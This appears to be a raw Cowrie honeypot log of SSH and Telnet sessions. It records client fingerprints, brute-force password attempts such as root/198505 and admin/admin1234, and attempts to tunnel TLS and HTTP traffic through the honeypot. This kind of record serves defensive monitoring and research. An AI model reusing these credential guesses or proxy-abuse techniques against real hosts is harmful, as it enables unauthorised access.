{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x1b\\xd7b^\\xe2^\\xae^\\x05\\x1as\\xa3<\\xe5\\xae\\xe4\\x1b\\x1c\\xb0\\x1bn\\xee\\xc4Y\\x04\\xc0\\xfb\\xd43M\\x80Z \\xd5K8a\\xf3\\x9fZ\\xb6S\\xc8\\xff\\xd0\\t\\xe83TP\\xbe\\xb6\\x92\\x9d\\xf8Z\\xd7cT`e\\x02:\\xdcl\\x00 \\x1a\\x1a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xfa\\xfa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08ZZ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)ZZ\\x00\\x01\\x00\\x00\\x1d\\x00 ;\\x91JYS\\xc0\\x08\\xc5L\\xaeG\\xa06 g\\x01&\\xd4\\xe4\\x05\\xc9K\\xb4H\\xbb&\\xe5\\x16!tw^\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nJJ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xba\\xba\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x1b\\xd7b^\\xe2^\\xae^\\x05\\x1as\\xa3<\\xe5\\xae\\xe4\\x1b\\x1c\\xb0\\x1bn\\xee\\xc4Y\\x04\\xc0\\xfb\\xd43M\\x80Z \\xd5K8a\\xf3\\x9fZ\\xb6S\\xc8\\xff\\xd0\\t\\xe83TP\\xbe\\xb6\\x92\\x9d\\xf8Z\\xd7cT`e\\x02:\\xdcl\\x00 \\x1a\\x1a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xfa\\xfa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08ZZ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)ZZ\\x00\\x01\\x00\\x00\\x1d\\x00 ;\\x91JYS\\xc0\\x08\\xc5L\\xaeG\\xa06 g\\x01&\\xd4\\xe4\\x05\\xc9K\\xb4H\\xbb&\\xe5\\x16!tw^\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nJJ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xba\\xba\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:55:18.735746Z","src_ip":"23.175.50.51","session":"2686f2a7c66f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"23.175.50.51","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:55:18.805011Z","session":"2686f2a7c66f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:55:18.862426Z","src_ip":"23.175.50.51","session":"2686f2a7c66f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03z{\\xd2w\\xfdRPk7C\\x89\\xab\\x8d\\x89\\\\\\x0f}]M\\x88\\xe2\\xccS\\x0b\\xebb\\xf6\\xd6\\x94\\x8c\\x97\\xca \\x1aj\\xd6\\xda\\xfe\\xe7\\xcf9F\\xf2\\xc2\\xd5\\xd2\\x8f\\x9f\\x14\\r@\\x8e\\xa2U\\x12\\xdf]\\xc5\\xe2D\\xbep\\xfe\"9\\x00\"ZZ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91JJ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08ZZ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)ZZ\\x00\\x01\\x00\\x00\\x1d\\x00 \\x18yQV\\xfd\\'0\\x98\\xd6\\x07\\x94\\xf5&V\\xf41\\xd4\\xc4\\xf7\\xb1\\xf3|)\\xa3\\x13\\xbdp\\xce\\xc6x+W\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x8a\\x8a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02::\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03z{\\xd2w\\xfdRPk7C\\x89\\xab\\x8d\\x89\\\\\\x0f}]M\\x88\\xe2\\xccS\\x0b\\xebb\\xf6\\xd6\\x94\\x8c\\x97\\xca \\x1aj\\xd6\\xda\\xfe\\xe7\\xcf9F\\xf2\\xc2\\xd5\\xd2\\x8f\\x9f\\x14\\r@\\x8e\\xa2U\\x12\\xdf]\\xc5\\xe2D\\xbep\\xfe\"9\\x00\"ZZ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91JJ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08ZZ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)ZZ\\x00\\x01\\x00\\x00\\x1d\\x00 \\x18yQV\\xfd\\'0\\x98\\xd6\\x07\\x94\\xf5&V\\xf41\\xd4\\xc4\\xf7\\xb1\\xf3|)\\xa3\\x13\\xbdp\\xce\\xc6x+W\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x8a\\x8a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02::\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:55:18.866783Z","src_ip":"23.175.50.51","session":"2686f2a7c66f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":34718,"dst_ip":"159.203.135.109","dst_port":23,"session":"e821df69b81e","protocol":"telnet","message":"New connection: 172.81.62.90:34718 (159.203.135.109:23) [session: e821df69b81e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:55:26.808239Z"}
{"eventid":"cowrie.session.connect","src_ip":"77.94.47.83","src_port":40406,"dst_ip":"10.17.0.5","dst_port":22,"session":"108590969635","protocol":"ssh","message":"New connection: 77.94.47.83:40406 (10.17.0.5:22) [session: 108590969635]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:55:29.756899Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:55:29.761224Z","src_ip":"77.94.47.83","session":"108590969635","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:55:29.873599Z","src_ip":"77.94.47.83","session":"108590969635","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"198505","message":"login attempt [root/198505] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:55:30.210467Z","src_ip":"77.94.47.83","session":"108590969635","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"29.0","message":"Connection lost after 29.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:55:30.273058Z","src_ip":"23.175.50.51","session":"2686f2a7c66f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:55:31.323110Z","src_ip":"77.94.47.83","session":"108590969635","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00194692611694,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:55:32.576563Z","src_ip":"128.199.8.54","session":"32bd9e2fc201","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.31292486190796,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:56:02.121018Z","src_ip":"172.81.62.90","session":"e821df69b81e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":45718,"dst_ip":"10.17.0.5","dst_port":22,"session":"ddb30e8f5fbd","protocol":"ssh","message":"New connection: 27.71.230.31:45718 (10.17.0.5:22) [session: ddb30e8f5fbd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:56:08.159963Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:56:08.195206Z","src_ip":"27.71.230.31","session":"ddb30e8f5fbd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:56:08.407405Z","src_ip":"27.71.230.31","session":"ddb30e8f5fbd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Password@1234","message":"login attempt [root/Password@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:56:12.755628Z","src_ip":"27.71.230.31","session":"ddb30e8f5fbd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:56:14.054125Z","src_ip":"27.71.230.31","session":"ddb30e8f5fbd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.148.145.132","src_port":53159,"dst_ip":"10.17.0.5","dst_port":22,"session":"80dde302e6dd","protocol":"ssh","message":"New connection: 23.148.145.132:53159 (10.17.0.5:22) [session: 80dde302e6dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:56:18.010654Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:56:18.015062Z","src_ip":"23.148.145.132","session":"80dde302e6dd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:56:18.111568Z","src_ip":"23.148.145.132","session":"80dde302e6dd","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:56:19.998619Z","src_ip":"23.148.145.132","session":"80dde302e6dd","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"23.148.145.132","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:56:28.311427Z","session":"80dde302e6dd","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:56:28.371532Z","src_ip":"23.148.145.132","session":"80dde302e6dd","protocol":"ssh"}
